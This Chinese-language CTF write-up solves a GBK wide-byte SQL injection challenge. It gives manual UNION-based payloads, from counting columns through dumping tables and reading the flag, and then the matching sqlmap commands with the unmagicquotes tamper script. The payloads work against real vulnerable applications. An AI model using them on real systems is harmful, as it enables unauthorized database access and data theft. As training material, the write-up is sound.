(宽字节注入) 手注+sqlmap
进入题目后先简单尝试一下。
很明显的宽字节注入。
宽字节注入就是用一个大于128的十六进制数来吃掉转义符\,gbk编码,字节作为一个字符的编码.
手工注入
1、判断列数:
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 1%23
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 2%23
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 3%23
order by 3 时报错,说明只有两列。
2、各类信息:
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
union select 2,(concat_ws(char(32,58,32),user(),database(),version()))%23
: sae-chinalover : 5.5.52-0ubuntu0.14.04.1
3、库名:
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2 union select 2,database()%23
sae-chinalover
4、表名:
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
union select 2,group_concat(table_name)
from information_schema.tables
where table_schema=database()%23
ctf,ctf2,ctf3,ctf4,news
5、ctf4表的列名:
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
union select 2,group_concat(column_name)
from information_schema.columns
where table_name=0x63746634%23
id,flag
这里注意:要将表名ctf4转为16进制
这里提供一个字符串转16进制的网站:
http://www.5ixuexiwang.com/str/hex.php
转了16进制之后记得在前面加上0x
6、flag列的数据:
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
union select 2,(select flag from ctf4)%23
flag{this_is_sqli_flag}
sqlmap跑法
1、查看有哪些库:
sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes --dbs
这个时侯就要用到一个脚本了:
脚本名:unmagicquotes.py
作用:宽字符绕过
2、表名:
sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` --tables
3、列名:
sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 --columns
4、flag列的数据:
sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 -C flag